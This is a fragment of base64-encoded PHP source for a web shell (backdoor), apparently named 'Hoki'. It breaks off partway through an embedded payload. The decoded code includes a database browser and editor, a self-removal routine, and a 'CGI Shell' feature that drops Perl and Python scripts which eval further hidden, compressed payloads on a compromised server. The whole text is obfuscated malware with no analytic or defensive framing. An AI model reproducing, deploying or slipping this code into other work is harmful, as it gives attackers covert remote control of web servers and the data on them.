IEBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+ICRyZXMsICJlcnJvciIgPT4gQG15c3FsaV9lcnJvcigkY29ubikpKTsKCQl9ZWxzZXsKCQkJJHBhZ2VzID0gMDsKCQkJJHR
pdGxlID0gZmFsc2U7CgkJCSRxdWVyeSA9ICIiOwoJCQkkdGJsX2NvbnRlbnQgPSAnPHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMSIgY2VsbHBhZGRpbmc9IjIiIGNsYXNzPSJtYWluIG15c3FsLWRhdGEtdGJsIiBzdHlsZT0iYmFja2
dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOwoJCQkkbGluZSA9IDA7CgkJCSR0YWJsZXMgPSBhcnJheSgpOwoJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCWlmKCR0eXBlID09ICJsb2FkX2RhdGEiKXsKCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NI
GAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgTElNSVQgMCwzMCI7CgkJCQkkdGJsX2NvdW50X3EgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPVU5UKCopIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUi
XS4iYCIpOwoJCQkJJHRibF9jb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCR0YmxfY291bnRfcSk7CgkJCQkkY29sdW1uc19xdWVyeSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgQ09MVU1OX05BTUUgYXMgbmFtZSwgQ09MVU1OX1RZUEU
gYXMgdHlwZSwgQ09MTEFUSU9OX05BTUUgYXMgY29sbGF0aW9uLCBEQVRBX1RZUEUgYXMgZGF0YV90eXBlLCBDSEFSQUNURVJfTUFYSU1VTV9MRU5HVEggYXMgdHlwZV92YWx1ZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIG
BUQUJMRV9TQ0hFTUFgID0gJyIuJGRiWyJkYiJdLiInIEFORCBgVEFCTEVfTkFNRWAgPSAnIi4kZGJbInRhYmxlIl0uIiciKTsKCQkJCXdoaWxlKCRyb3cyID0gQG15c3FsaV9mZXRjaF9hcnJheSgkY29sdW1uc19xdWVyeSwgTVlTUUxJX0FTU09DK
Sl7CgkJCQkJJGNvbHVtbnNbXSA9ICRyb3cyOwoJCQkJfQoJCQkJaWYoJHRibF9jb3VudFswXSA+IDMwKXsKCQkJCQkkcGFnZXMgPSBjZWlsKCR0YmxfY291bnRbMF0gLyAzMCk7CgkJCQl9CgkJCX1lbHNlaWYoJHR5cGUgPT0gInF1ZXJ5Iil7CgkJ
CQkkcXVlcnkgPSAkZGJbInF1ZXJ5Il07CgkJCX1lbHNlaWYoJHR5cGUgPT0gInBhZ2UiKXsKCQkJCSRkYlsicGFnZSJdID0gKGludCkkZGJbInBhZ2UiXSAtIDE7CgkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCI
uJGRiWyJ0YWJsZSJdLiJgIExJTUlUICIuKCRkYlsicGFnZSJdKjMwKS4iLDMwIjsKCQkJfWVsc2VpZigkdHlwZSA9PSAic2VhcmNoIil7CgkJCQkkc2VhcmNoID0gIiI7CgkJCQkkc2VhcmNoX25vdmFsID0gYXJyYXkoIj0gJyciLCAiIT0gJyciLC
AiSVMgTlVMTCIsICJJUyBOT1QgTlVMTCIpOwoJCQkJZm9yZWFjaCgkZGJbInNlYXJjaCJdIGFzICRjb2wgPT4gJHZhbCl7CgkJCQkJJHNlYXJjaF9ub3ZhbF9yID0gaW5fYXJyYXkoJHZhbFsib3B0Il0sICRzZWFyY2hfbm92YWwpOwoJCQkJCWlmK
GVtcHR5KCR2YWxbInZhbHVlIl0pICYmICEkc2VhcmNoX25vdmFsX3IpY29udGludWU7CgkJCQkJaWYoc3Ryc3RyKCR2YWxbIm9wdCJdLCAiLi4uIikgfHwgJHNlYXJjaF9ub3ZhbF9yKXsKCQkJCQkJJHZhbFsib3B0Il0gPSBzdHJfcmVwbGFjZSgi
Li4uIiwgJHZhbFsidmFsdWUiXSwgJHZhbFsib3B0Il0pOwoJCQkJCQkkc2VhcmNoIC49ICRjb2wgLiAiICIgLiAkdmFsWyJvcHQiXSAuICIgQU5EICI7CgkJCQkJfWVsc2V7CgkJCQkJCSRzZWFyY2ggLj0gJGNvbCAuICIgIiAuICR2YWxbIm9wdCJ
dIC4gIiAnIi5hZGRzbGFzaGVzKCR2YWxbInZhbHVlIl0pLiInIEFORCAiOwoJCQkJCX0KCQkJCX0KCQkJCSRzZWFyY2ggLj0gIjE9MSI7CgkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLi
JgIFdIRVJFICIgLiAkc2VhcmNoOwoJCQl9CgkJCSRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CgkJCWlmKCEkcV90YWJsZXMpewoJCQkJZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gZmFsc2UsICJlc
nJvciIgPT4gQG15c3FsaV9lcnJvcigkY29ubiksICJxdWVyeSIgPT4gJHF1ZXJ5KSk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQkJJGNvbF9rZXkgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPTFVNTl9OQU1FIEZST00gSU5GT1JN
QVRJT05fU0NIRU1BLkNPTFVNTlMgV0hFUkUgVEFCTEVfU0NIRU1BID0gJyIuQGFkZHNsYXNoZXMoJGRiWyJkYiJdKS4iJyBBTkQgVEFCTEVfTkFNRSA9ICciLkBhZGRzbGFzaGVzKCRkYlsidGFibGUiXSkuIicgQU5EIENPTFVNTl9LRVkgPSAnUFJ
JJyIpOwoJCQlpZigkY29sX2tleSl7CgkJCQkkY29sX2tleSA9IEBteXNxbGlfZmV0Y2hfcm93KCRjb2xfa2V5KTsKCQkJCSRjb2xfa2V5ID0gJGNvbF9rZXlbMF07CgkJCQlpZighZW1wdHkoJGNvbF9rZXkpKXsKCQkJCQkkdGJsX2NvbnRlbnQgPS
AnPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo1cHg7bWFyZ2luLXRvcDo1cHg7Ij48YnV0dG9uIGNvbF9rZXk9IicuJGNvbF9rZXkuJyIgdGJsX25hbWU9IicuJGRiWyJ0YWJsZSJdLiciIGRiX2lkPSInLiRkYlsiZGJfaWQiXS4nIiAJZGJfdGFyZ
2V0PSInLiRkYlsiZGIiXS4nIiBvbmNsaWNrPSJob2tpTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3ModGhpcyk7cmV0dXJuIGZhbHNlOyI+RGVsZXRlIFNlbGVjdGVkIFJvd3M8L2J1dHRvbj48L2Rpdj48dGFibGUgd2lkdGg9IjEwMCUiIGNlbGxz
cGFjaW5nPSIxIiBjZWxscGFkZGluZz0iMiIgY2xhc3M9Im1haW4gbXlzcWwtZGF0YS10YmwiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7CgkJCQl9CgkJCX1lbHNlewoJCQkJJGNvbF9rZXkgPSBmYWxzZTsKCQkJfQoJCQl3aGl
sZSgkaXRlbSA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHFfdGFibGVzKSl7CgkJCQlpZighJHRpdGxlKXsKCQkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0ciBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMzA1YjhlOyI+JzsKCQkJCQlpZigkY29sX2tleS
l7CgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRoIHN0eWxlPSJ3aWR0aDogNTVweDt0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgb25jaGFuZ2U9Imhva2lNeXNxbFRibFNlbGVjdEFsbCh0aGlzKTsiI
HR5cGU9ImNoZWNrYm94Ij48L3RoPjx0aCBzdHlsZT0id2lkdGg6IDU1cHg7dGV4dC1hbGlnbjpjZW50ZXI7Ij5FZGl0PC90aD48dGggc3R5bGU9IndpZHRoOiA1NXB4O3RleHQtYWxpZ246Y2VudGVyOyI+RGVsZXRlPC90aD4nOwoJCQkJCX0KCQkJ
CQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKXsKCQkJCQkJJHRibF9jb250ZW50IC49ICc8dGg+Jy4ka2V5Lic8L3RoPic7CgkJCQkJfQoJCQkJCXJlc2V0KCRpdGVtKTsKCQkJCQkkdGl0bGU9dHJ1ZTsKCQkJCQkkdGJsX2NvbnRlbnQ
gLj0gJzwvdHI+PHRyPic7CgkJCQl9CgoJCQkJaWYoJGNvbF9rZXkpewoJCQkJCSRjYWNoZU1zZyA9ICc8dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGlucHV0IHJvd19pZD0iJy4kbGluZS4nIiB0eXBlPSJjaGVja2JveCIgbmFtZT0idG
JsX3Jvd3NfY2hlY2tib3hbXSIgdmFsdWU9IicuJGl0ZW1bJGNvbF9rZXldLiciPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxhIGNsYXNzPSJkYi1vcHQtaWQiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGRiX2lkPSInL
iRkYlsiZGJfaWQiXS4nIiBkYl90YXJnZXQ9IicuJGRiWyJkYiJdLiciIHRibF9uYW1lPSInLiRkYlsidGFibGUiXS4nIiBjb2xfa2V5PSInLiRjb2xfa2V5LiciIGtleT0iJy4kaXRlbVskY29sX2tleV0uJyIgb25jbGljaz0iaG9raU15c3FsRWRp
dFJvdyh0aGlzLCBcJ2VkaXRcJyk7IiBzdHlsZT0iY29sb3I6IzBhY2FhNjsiPkVkaXQ8L2E+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGEgY2xhc3M9ImRiLW9wdC1pZCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgZGJ
faWQ9IicuJGRiWyJkYl9pZCJdLiciIGRiX3RhcmdldD0iJy4kZGJbImRiIl0uJyIgdGJsX25hbWU9IicuJGRiWyJ0YWJsZSJdLiciIGNvbF9rZXk9IicuJGNvbF9rZXkuJyIga2V5PSInLiRpdGVtWyRjb2xfa2V5XS4nIiByb3dfaWQ9IicuJGxpbm
UuJyIgb25jbGljaz0iaG9raU15c3FsRWRpdFJvdyh0aGlzLCBcJ2RlbGV0ZVwnKTsiIHN0eWxlPSJjb2xvcjojZmYxZTFlOyI+RGVsZXRlPC9hPjwvdGQ+JzsKCQkJCX0KCQkJCSR0YmxfY29udGVudCAuPSAnPHRyIGNsYXNzPSJ0Ymxfcm93IHRib
F9yb3dfbCcuJGxpbmUuJyI+Jy4kY2FjaGVNc2c7CgkJCQkkbGluZSsrOwoJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSl7CgkJCQkJaWYoJHZhbHVlID09IG51bGwpewoJCQkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0ZD48aT5udWxs
PC9pPjwvdGQ+JzsKCQkJCQl9ZWxzZXsKCQkJCQkJJHRibF9jb250ZW50IC49ICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7CgkJCQl9CgkJCQl9CgkJCQkkdGJsX2NvbnRlbnQgLj0gJzwvdHI+JzsKCQkJfQo
JCQkkdGJsX2NvbnRlbnQgLj0gJzwvdGFibGU+JzsKCQkJaWYoISR0aXRsZSl7CgkJCQkkdGJsX2NvbnRlbnQgPSAiPGRpdiBzdHlsZT0ncGFkZGluZzo1cHg7Ym9yZGVyOjFweCBkYXNoZWQ7bWFyZ2luOjEwcHg7Jz5UYWJsZSBpcyBlbXB0eS4uLj
wvZGl2PiI7CgkJCX0KCQkJZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gdHJ1ZSwgInRhYmxlIiA9PiAkdGJsX2NvbnRlbnQsICJjb2x1bW5zIiA9PiAkY29sdW1ucywgInBhZ2VzIiA9PiAkcGFnZXMsICJxdWVyeSIgPT4gJHF1Z
XJ5KSk7CgkJfQoJCUBteXNxbGlfY2xvc2UoJGNvbm4pOwoJfQp9CmZ1bmN0aW9uIGhva2lzZWxmcm0oKXsKaWYoaXNzZXQoJF9QT1NUWydob2tpMSddKSYmJF9QT1NUWydob2tpMSddPT0neWVzJyl7CmVjaG8oX19wcmUoKS4nPGNlbnRlcj4nKTsK
aWYoQHVubGluaygkR0xPQkFMU1snX19maWxlX3BhdGgnXSkpewplY2hvKCc8Yj5TaGVsbCBoYXMgYmVlbiByZW1vdmVkPC9pPiA6KTwvYj4nKTsKfWVsc2V7CmVjaG8gJ3VubGluayBlcnJvciEnOwp9CmVjaG8oJzwvY2VudGVyPicpOwp9CmlmKGl
zc2V0KCRfUE9TVFsnaG9raTEnXSkmJiRfUE9TVFsnaG9raTEnXSE9J3llcycpewplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj4iOwplY2hvICIKPGNlbnRlcj48cD48aW1nIHNyYz1cInBuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aG
l0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+PC9wPiI7CmVjaG8gJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRvIHlvdSB3YW50IHRvIGRlc3Ryb3kgbWU/ITwvZGl2PjxhIGhyZWY9a
mF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWxmcm1cJyxudWxsLFwneWVzXCcpOyI+IFllczwvYT4nOwplY2hvICc8L3A+PC9jZW50ZXI+PC9kaXY+JzsKfQp9CmZ1bmN0aW9uIGhva2ljZ2lzaGVsbCgpewpob2tpaGVhZCgpOwokZGl2
ID0gIiI7Cmhva2lDcmVhdGVQYXJlbnRGb2xkZXIoKTsKQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddIC4gIi8iIC4gX19IT0tJX0RBVEFfRk9MREVSX18pOwppZighaW5fYXJyYXkoJF9QT1NUWydob2tpMSddLGFycmF5KCdwZXJsJywncHknKSk
pewokZGl2ID0gIjwvZGl2PiI7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ0dJIFNoZWxsIHw8L2Rpdj48L3A+PGgzPjxhIGNsYXNzPSJyZWplY3RtZSIgaHJlZj0iamF2YX
NjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJydW5jZ2koXCdwZXJsXCcpIj58IFBlcmwgfCA8L2E+PGEgY2xhc3M9InJlamVjdG1lIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIG9uY2xpY2s9InJ1bmNnaShcJ3B5XCcpOyI+fCBQeXRob24gfCA8L
2E+JzsKfQppZihpc3NldCgkX1BPU1RbJ2hva2kxJ10pJiZpbl9hcnJheSgkX1BPU1RbJ2hva2kxJ10sYXJyYXkoJ3BlcmwnLCdweScpKSl7CkBta2RpcignY2dpaG9raScsMDc1NSk7CkBjaGRpcignY2dpaG9raScpOwpob2tpY2dpaHRhY2Nlc3Mo
J2NnaScpOwokbmFtZSA9ICRfUE9TVFsnaG9raTEnXS4nLmhva2knOwokcGVybCA9ICcjIS91c3IvYmluL3BlcmwgICAtSS91c3IvbG9jYWwvYmFuZG1pbicuIlxuIi4ndXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7ZXZhbChDb21
wcmVzczo6WmxpYjo6bWVtR3VuemlwKGRlY29kZV9iYXNlNjQoIkg0c0lBQUFBQUFBQS82VVpEWGZUUnZLdkxCdGhTUkJidGt0YXpySmNRdUpBM2lVaGx4anU5YUpnWkdsdDcwT1dWSDJRcE1iOTdUZXp1N0trRUtDMHlVT1JadWQ3Wm1kbWx5Smo1UF
Q0ZER3WXZQUXk5dk16dXdEQUVRK1pCRVRlaWduUXdVMUFkRytXVFJNdlgrcTI1aS80Tk9BcGNRZzhFY3NvRncydGE1cTI5bDhlblUxZ3VXdHJaNU9EVlhESkV2aWlMV3ByYnlOK1cwRnNnQnpFcTVVWEJSTytZbkdSSHhhcGwvTTRndFVla0Y4dTQ1d
kRPNURCL1RkRm5oUTV3bTBOdEJLQzRXdkI4akJlOEloOC9venZ5VTNCQTBNYm12aE52WER1b1loU29LRlUrNVZVaWcxSVRTbFRJSitEd1hWazZnY1U4R2h5RTFEQU9BZEw3L09qcml0UUxFUzRZT0FZNXVkeDJzUWgvVkdyUjNxalZsL2c0bHRQd0lB
b0syYmtnbm5CdVplQ3k5ZGg3SHNoTVo3d3lBUWVMNmFFeitGcEs3REdkNGtHNy9EOHlPN2crY2tMUWU1cEVlWTg4ZEw4S0U1WGgxN3VBYWsyUG51MzFnL2VuRTNHWjVQcDVMZnpzYjRoenAvRVdwWElyalVIOUhZQStEYVp4VVVVZU9tZFkzU2VtcHB
sODdraE9WeU0vL04yZkRtWm5vNG5yOThjQWcvMk82R3Z4aE5xcmpVZWJRVUIwc1Z2MDh2SnhmSFpLMzFqYjFpWWZadkYrWnRMNUpHQzZjYmw1UEQ0REt6aDBlNDl2VS9HWjY4bXIvV05hVysyN1A2dVRhRHdTd1VCdGZWMlcrOW9QZnRGeURQTXJpd0
plVzVZV3hSTDZBUE9mUTBhc3ZSbEhDQ1ZodGhYdmVzbUdEUndVemZDZjUvaFQyU1Z5MGp4d2RaS1lyMTgvWk5rZ2tLekFKVkhhMzBPdXcrVlJudUlRS3BZQUhkY3hyeDNYSXEydUxRa2svaTkycGRnVFMxcmNSK1dJUXk4QTBuazlHMWxpY2F2NFpVL
2ZRck9LUUVTLzMzbnFaQW9WS3d2QVhmRHZWRktRQllxQlNBVGxZbmlEVmtZNzQyR1cwenpzd0JvOEtXWlFzVXQ3bU9qMHpHdHhQTS9HdFNudTJUSmJnMnRaNXJXZ2dsRFVKS3dGU2pzRGFZWFc3OFErYWNDMXlvREJpWXl6MS9DQnpHNnBOTWgyZzZB
TVZrcjQ5eW5GZ0h4Um0wWFZad2N5UW14ZDBuZlZFWitWOGtmTktVRFpkRHRVdHpmUnNEbVBHSlF2c3BWTEtaMVRHWDFCb3ZGMnlTTXZRREw5ZHBmeG9taFRid1VDdUFaQk1zVTNHb0FkTmhCa2FZc3lnOTVhcUorSyt2S2RWM3JHdmE0TmttOUtKdXp
GSm1KdFVmRzFYdnJ2ZXRlUHpHMVIzYWRFU3FoNmgvdUdyV0VoSmY4RDVURG85eUFKRjFnTTJobXRFa3NxT245WnlZV2xUaGhrZkgyL09UTi91SFI4Y2w0bDlCUlRRdzF6ZldNUjZzNFlEVWtZWmFzcG5hU2dpQlNyWkY3d213L2pMTUdzU0tocGJFc0
lQZTEvL2ZMamh0UmhhaFBsb3dnUTBMMXprejF3NGFYT3pvbE4xNUdDaEVKNEpjVnZzK3liRjZFNFYxSGw4bXBwQjU1cUJyMG1rZlVsdkU3eHdVVXJRSUo5WXFzTlN4YldKV0dQc1NLcGFPaEFNUVJVS3g0N3RCOHliT08vT2dFUFBObXdOWEowNExaW
WlYb1FJWVV6Sm5sc1djVUVjdDhMMkVHaTN6dzVOdUxZK2kxU1J3Qlo2T09iVUthVVFKSStWM0NITG90b2xVTnBXVEY4bVVjT0xKY0U4L0hIdTJBWTdSTFArVkpmZ0o5Q1VIZ2t0RXc5R1lzSkVEc1VPV2FGS0JaNGtXRUE0dnBkSTZ1TEJJQVdnZ2Rr
V0dXcDNHMEdMV2lXWmJZOG5td2pDR0N4Qk14QUVTSk1iUUU5OUdRUnpnTlpQbGRDQ3FESjVMUXV4dEVZQnlZZ2xLMmtzRjUvdEtMRm9nVys4VUtyTzlBQk1jaHc5ZVhkOGVCNGVwYm5WemQ3UEFvWXVucnllbUpJN3lFOHJPcjduVkhERVNVU0M4aGx
CSlJHdW1ja2d6eXg2RS83ZEZTTTdraUkxWFNsRjh5UmtyRkxZWEVXZklnWUZISk9kZ2lnNnVySFN6Yy9IVXE3MHNSSXBid1I2V1ZMaHI3Rkt3U1RUaGxlWkZHb2czakN4RnBhTmNUV0VHcXpEMzNGa3gycHJVMkZ2a1ZWUG8xNjQzOUVJSm9ERmZ2dm
ZZZisrMy9kZHYvdWpZdC9iSGVLU0paTUY4L29idFFMQzIyS1BmdFFReWFSM2tiRFI2UW5OM20xakpmaGRoUXRsdDJpSkRSY0FsNmpZWTV6ME0yT2tEQlpIWkg5aytPOXNtRTdaK1NOamw0ZFV6T1dSb09MWWswRkhrMGVyS0dDVFNFRWl3VGFiT3pUW
XYxSFB5WUQwaktGOHZjamoreEZBQTNBK2wyMjQvRE9CM3M5UGZtODI3WHZ1RkJ2aHowbm5XVFc3dE1UQ2lMeUxjOWc2SHRvNDNLdDdkTUNBdERubVE4czIrV1BHZHQyQkkrV0JqRk42bVgyQnVSNytzVmxCMGV0WVg4QVpSUjRBMzBPWWR4c08yRmZC
RU55QXFVQ1prOWkxTUlDdUFrdHlTTFF4NFFLSFgyREx5NlNIR21BZDloQllRTkR0NEU3TnQydHZRQzFLTUx2OCtBYXFjNy9xbjdiRjl4YXFkZXdJdHNnRXZLTnRMZlF3Vit4QXkvU0RQd0VVbGlqZ240RmNkSVk0bmM2K3U2em1pRGlrSEk1bm1wU0U
5NFlpTzJ3cFhZQ25LUFhhK1Z3RkplblpjSTdzTnVrcEVrY1lvRjR5RUhiSGI4VmJEK1c5eEszLzJDS2o4UXp3ZWtKVjRROEdqUlZrN0tjcWpLQTdMMzVRcERUUkMrd2FCQWFEM1l5bGlUbEg2TnZLNXBYMU8rRkZ6VHBXN1B6cEg0S1FVUGVqOERta3
I4dmVmKzN0N3pNdkc3M2NmVkR2R0tQTFkzV0w1eGd3MHR1VFZuT1AzR0VkYW1iMVZsY0RYVzR6a2daQWIycU5sQ1NIVG9UbGY4UUdHTkUrbEtoOElYcGtidFU3NEt0V3JmUzRaT0Z3QjBGakNUcGtHVnJKb3VWQk1sQ2dKSlIxZGtPS3RLQ1hpRWtjd
0xTQXZTOXhQUE9IUmg4cWNBcTY4WGl4VTAvSTRmcjRiV2JFU3VzZjVHZVZWL2h6bDJiaUxkN05BZURCSlNTL1FlSlQ3c0pkdy80R2loSjM0cnh6dTBENHJteUNKb0VDbXQ1N0RySFBxT3BZRVhlV1ZmUWhKUW8ySFhUcjgvN3ZlZmk1WExTbk55c09D
cU5zNUdTbTBDdFRlQzh5eFluOGNFbXo1TEljQTRCSFYwaVpjSCtNREcwbXdSUjNFTTlwWlRrTko3UkR1dEI4WWZZOXVIT3JUaUNBLzBGZnpGck1FVXdocFBhM0xVRGNJSkpQZ3hGZ0xrdGRiT1V4aDI4RVJYbmI5clBXbEV4QkVjNGlybUVqbEg2Q3F
mdXovOUFpNjFkZEJ6ZTlXQUtvbGg1Y1gzS0dyT29kV0E4eVZOZnpabnZUMmdxYWxWNGwrN0dxRjJOUTJpTTJZL1BBM0tsZVc5SmVqOGpWV1lsaHhYWDhKT1d6ZG1TRmVIU0t1N25vN3U2aHV4NnYvUWhPbFhFK1kvblUrM285YVBqS0ovYTdJQ2dFd2
VTTzQ2QTZ3V0pia3ZwMHlvVU52WnIvc1haekpmcHVzOTdISTJiTTZOaW1RMG9vM1pXRDYvUzcrVVNrWmlCZzY1LzlHaEVIdy9qdVljZHB1cjc2ZU0zTVVGbkZ2ZzVWZElBSlVCUUNRU1FrNkFSQTJGY3c4KzdLMU9yMk00cDFXREpXVG9QeG9xbTllQ
WErRDBTRzVjYysyRkhxamJOYXRKVUtBU2R1c3poaVY1NWQzeVZiRWlPUkNUR002SVg3bFR6QmpZSGhpWldaN0J4cmZNTDNKV01seHZXdHNyT1B0ZU9tMXZ1QzRQTG83UEo5T3ovZE14SEROcnU3M0NHRis4RzE5c01acW5hMUpleDlpYVROMFNoSWRX
N2FLSVNtVWNFakRjRnRPWnVKeVZwMmtmcjhDMHhxRDlBRmFBV1BKU29JSDZRVjF1ZnNDVGRHTU40MFhGd2J5aEFsNFR2SGV6SjM3Z1prL3h4Z2t2ejJDd2dCT2l2Tzc1TG9GOW4wTEd2M2xGcWk1b096V292ZEhlaE1FRFI0bktQZFFQaUZ1djZTNkY
2cXRZNGFLU1d3R1YrVjl4aldUOHdiUTNyWHNuSEx5L3dYdmZ2OVJSdGgzRGZWRlBqaHFtTE83M1d1SXc0Si9LQnFHR1E1eG1CbjBjeC9TUkdEK2s1WU9IdW9tYU1VVURxZ0t5YlVDeVNZT0kwVEQ1dHFqR1lGb0tMNGRLa3NZM21hUDN1enJKRXBoSi
9DV0RvcUtMeWdDaVJUcW9yTWFNVXFkUGM5MnFMcXZLQlBpTGNhd2JVMCtQZW4zUUxvOWZyZlg5azR0VGNRM3F0cHJiMzViMTR5dEZRZDBvZi9FZkRjRDJzOU9yOGczdjZjaG5hb3VMS3dXVW1MdmJlbVBpMFNka3hyQ3hQZ0pXVTNYZ3hSdlExSTFNd
kUxVkNhQk44UUM3QVduZFJuR3NNbEpvK0dVMTNHektGTExLK0pReHRwTGFTRWJ0MWxmSEpMdDFiMUt6L3c4d2JsUytGUm9BQUE9PSIpKSk7Jzs7CiRweSA9ICcjIS91c3IvYmluL3B5dGhvbicuIlxuaW1wb3J0IHpsaWIsIGJhc2U2NFxuIi4nZXZh
bChjb21waWxlKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKCJlSnlsRjl0eTJ6YjIyZm9LREx4YlVxdXJGVHZONk5hNlhxZjFiTk5tRXJjdnRrY0RFcUNJQ1Fsd1FkQzI2dkYrKzU0RGtCTFZhT08yYTgvWUJNNzlmbUROWnRvNWtubWh
qU1h4V3RwbzV2OE5oV0pSSnNKdVJ6ekdvckNBVmJDeTdOU281YWJzQTE1ZmwvMjFzQWpwUjZ3VXIwLzdsY2t5R1hVU28zTmlaUzVJUTJGTmd1ZUdnelVzRmhHTFAzblVqOVpJdGI3NnVVRnZ6aldqQnJrQkZ3QzFLMUN0SXhPaVM5RDJYaHF0aGlrcl
Y1L0VKcVFmTHo1Y3ZiOWUvWFQrN3BKMlFma3lOckt3aW9GQ2l4YkJ6UjdpWFVka3BmZzlOcVVkTGhMQ3NvUmQ1RHlNa2QxUm5NcU1yMHJMcGVxVDdVRlgxck12ZENIVUJIRDNVWWR4cGt0MDZ0R1JFV1dWSVhhYmVHZ0U0K0VlRWQ2MnFXeGxGUEhFb
lVTYkhEbXM1ZkN0RkJuL2FMVmhhOFNNY3c0QWhBOGhQdmNzcTBRWXhFRzN3Nlg1SE1BQkFINEVJakROay9vd0RpdjE3MHBiRWZyZ0RxUFhwMXpFbW9zUXNMcU9DQmdDa1dmN0VoRmdkVnVTL01mTmVQcnFqaXdXSklnNUNkQzN5cXZnenFTSEV1QnZN
TU52aE9CMzhjQUR3THlvakJISy90Tkpid0tFNUYzd1pKRkIwb1RCclFyNmdUZFFhZXU0TVFXY2Q3U0JBMGhGTWgyenJBd3h3QWM1QnlqMkFPczZhMERDQzF6MzJZSXFIWWpkeWpzUHM0YlpkTWlpRXYrSGRFaTduZmVRL1FWbVNYQkQ1bkN2b0k0Mm1
WalFXR2ZhVEkvSHI3NCtHWTluZEJuMDZqckVzRmFsTUdHM0Y4eEhTTEw4OWdYS3ZYSzQvUERyNVllNkhMWWNEc3FlUklrNE9YTWNkbWJ0U083K0ZxRFBWeXNzbzlYS1JYaTF5cGxVcXhXRzJaVXdvUmRhV1NBZDJFMGhwc1NLUnp0S2JaN2RtbHRGRz
ZSZ2psZkxlUXJWc1p4YmFUT3h2SUNFNGlUYWtQTWYzNTZUYTNIK2pnekl4ZmRYNVAzR3Bsck5SeDV0bmd2TG9NYVlLWVZkMEYrdTN3N2UwT1hjV2JMOHh4TlVWeWFWbUNxdHhPejVlTFZLVU51cWVFb3l6ZXlVR0xsTzdVemZDd01YRDFPU1NzNkZtb
mtQa09QSldaS0FFeDhrdCttVW5KeU9pOGNabHlXa3gyWUtvVWZXZ3dqaS8ybUdoZzEyZkFRVVNsSEtjdmFRU2lzRzRMRVlyRmY2d2JCaTlweXhTR1JQT1ROcnFRWk9CV0NPdklIZVNzaW1BY3ZrV2sxSkR1cGtZaFpwd3dYb2MxSThrbEpua2tPRDRE
UHNsMnVqSzhXbjJFQVZDTUVnQWZiam9Fd1pSejNHOEhzS1ZNZmp5MWZqMC9PYTA4QXdMcXR5aXFER3VNa1pLdkJueklnclU2S1hDZzB4Rk9aL09NWWJpK05CcS9WVFcyZTBvUTVESmhLNzliTHp4TE5VUldWdk1Hc1daUlhsMHQ0OTFRSWJlVzFlTHI
2SDNWVEhFanFuV290RERuZytob2J5OUplNE5iNzdHbFUrRU04RDBnckdZVkNzQjdXVFNzc01ZSjk5RGhHb0NkNC9ZMUFndE93SnhvTDhUZFQ2N2FWMlMvdVc4bzNnbGk1dGU0N2Z1cDlHOFBUa05hRFZ4WC8ySmo0N2UxTWJDSTNrNzdzaVlaWFZzMm
